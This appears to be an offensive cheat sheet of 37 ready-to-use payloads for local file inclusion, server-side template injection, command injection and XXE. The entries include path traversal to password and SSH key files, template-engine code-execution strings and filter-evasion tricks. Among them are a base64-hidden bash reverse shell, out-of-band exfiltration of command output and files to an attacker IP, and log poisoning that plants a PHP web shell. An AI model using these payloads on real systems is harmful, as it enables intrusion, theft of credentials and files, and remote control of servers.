Search everything

Commands 37

• Basic LFI, SSTI, command injection and XXE › LFI › Path traversal ../../../../../../etc/passwd
• Linux LFI, SSTI, command injection and XXE › LFI › Interesting files /etc/passwd /etc/hosts /proc/self/cmdline /proc/self/environ /home/USUARIO/.ssh/id_rsa /var/www/html/config.php /etc/nginx/sites-enabled/default /etc/apache2/sites-enabled/000-default.conf
• SSTImap LFI, SSTI, command injection and XXE › SSTI › Tool python3 sstimap.py -u 'http://10.10.11.20/page?name=test'
• Windows LFI, SSTI, command injection and XXE › LFI › Interesting files C:\Windows\System32\drivers\etc\hosts C:\Windows\win.ini C:\inetpub\wwwroot\web.config C:\xampp\apache\conf\httpd.conf
• ERB (Ruby) LFI, SSTI, command injection and XXE › SSTI › Other engines <%= `id` %>
• Time based LFI, SSTI, command injection and XXE › Command injection › Blind ; sleep 5
• Twig (PHP) LFI, SSTI, command injection and XXE › SSTI › Other engines {{ ['id']|filter('system') }}
• Blocked words LFI, SSTI, command injection and XXE › Command injection › Filter evasion c'a't /etc/passwd c\at /etc/passwd /???/c?t /etc/passwd
• Run a command LFI, SSTI, command injection and XXE › SSTI › Jinja2 (Python / Flask) {{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}
• Chain commands LFI, SSTI, command injection and XXE › Command injection › Separators ; id | id || id && id `id` $(id)
• Without spaces LFI, SSTI, command injection and XXE › Command injection › Filter evasion cat${IFS}/etc/passwd {cat,/etc/passwd} cat</etc/passwd
• Encoded newline LFI, SSTI, command injection and XXE › Command injection › Separators %0aid
• External entity LFI, SSTI, command injection and XXE › XXE › File read <?xml version="1.0"?> <!DOCTYPE r [<!ENTITY x SYSTEM "file:///etc/passwd">]> <r>&x;</r>
• Include the log LFI, SSTI, command injection and XXE › LFI › From LFI to RCE with logs ?page=/var/log/apache2/access.log&c=id
• Without slashes LFI, SSTI, command injection and XXE › Command injection › Filter evasion cat ${HOME:0:1}etc${HOME:0:1}passwd
• Freemarker (Java) LFI, SSTI, command injection and XXE › SSTI › Other engines <#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}
• Short alternative LFI, SSTI, command injection and XXE › SSTI › Jinja2 (Python / Flask) {{ cycler.__init__.__globals__.os.popen('id').read() }}
• Nunjucks (Node.js) LFI, SSTI, command injection and XXE › SSTI › Other engines {{range.constructor("return global.process.mainModule.require('child_process').execSync('id')")()}}
• Everything in base64 LFI, SSTI, command injection and XXE › Command injection › Filter evasion echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC41LzQ0MyAwPiYx|base64 -d|bash
• PHP source as base64 LFI, SSTI, command injection and XXE › XXE › File read <?xml version="1.0"?> <!DOCTYPE r [<!ENTITY x SYSTEM "php://filter/convert.base64-encode/resource=index.php">]> <r>&x;</r>
• URL encoded (double) LFI, SSTI, command injection and XXE › LFI › Path traversal %252e%252e%252f%252e%252e%252f%252e%252e%252fetc%252fpasswd
• Arithmetic per syntax LFI, SSTI, command injection and XXE › SSTI › Detection {{7*7}} ${7*7} <%= 7*7 %> #{7*7} {{7*'7'}}
• Out of band over HTTP LFI, SSTI, command injection and XXE › Command injection › Blind ; curl http://10.10.14.5/$(whoami)
• Out of band over ICMP LFI, SSTI, command injection and XXE › Command injection › Blind ; ping -c 2 10.10.14.5
• If ../ is stripped once LFI, SSTI, command injection and XXE › LFI › Path traversal ....//....//....//....//etc/passwd
• Run code with php://input LFI, SSTI, command injection and XXE › LFI › PHP wrappers curl -X POST 'http://10.10.11.20/index.php?page=php://input' --data '<?php system("id"); ?>'
• Payload that loads the DTD LFI, SSTI, command injection and XXE › XXE › Blind (out of band) <?xml version="1.0"?> <!DOCTYPE r [<!ENTITY % d SYSTEM "http://10.10.14.5/evil.dtd"> %d;]> <r>1</r>
• Read source code as base64 LFI, SSTI, command injection and XXE › LFI › PHP wrappers php://filter/convert.base64-encode/resource=index.php
• Null byte (PHP before 5.3.4) LFI, SSTI, command injection and XXE › LFI › Path traversal ../../../../etc/passwd%00
• DTD on your server (evil.dtd) LFI, SSTI, command injection and XXE › XXE › Blind (out of band) <!ENTITY % f SYSTEM "php://filter/convert.base64-encode/resource=/etc/hostname"> <!ENTITY % e "<!ENTITY &#x25; x SYSTEM 'http://10.10.14.5/?d=%f;'>"> %e; %x;
• If it must start with a given path LFI, SSTI, command injection and XXE › LFI › Path traversal /var/www/html/../../../../etc/passwd
• String that breaks almost any engine LFI, SSTI, command injection and XXE › SSTI › Detection ${{<%[%'"}}%\.
• Poison the log through the User-Agent LFI, SSTI, command injection and XXE › LFI › From LFI to RCE with logs curl -s http://10.10.11.20/ -A '<?php system($_GET["c"]); ?>'
• Spring / Thymeleaf (SpEL expressions) LFI, SSTI, command injection and XXE › SSTI › Other engines ${T(java.lang.Runtime).getRuntime().exec('id')}
• Without dots or underscores (filters) LFI, SSTI, command injection and XXE › SSTI › Jinja2 (Python / Flask) {{ request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')() }}
• Run code with data:// (allow_url_include) LFI, SSTI, command injection and XXE › LFI › PHP wrappers data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+&cmd=id
• RCE without uploading anything (filter chain) LFI, SSTI, command injection and XXE › LFI › PHP wrappers python3 php_filter_chain_generator.py --chain '<?php system($_GET["c"]); ?>'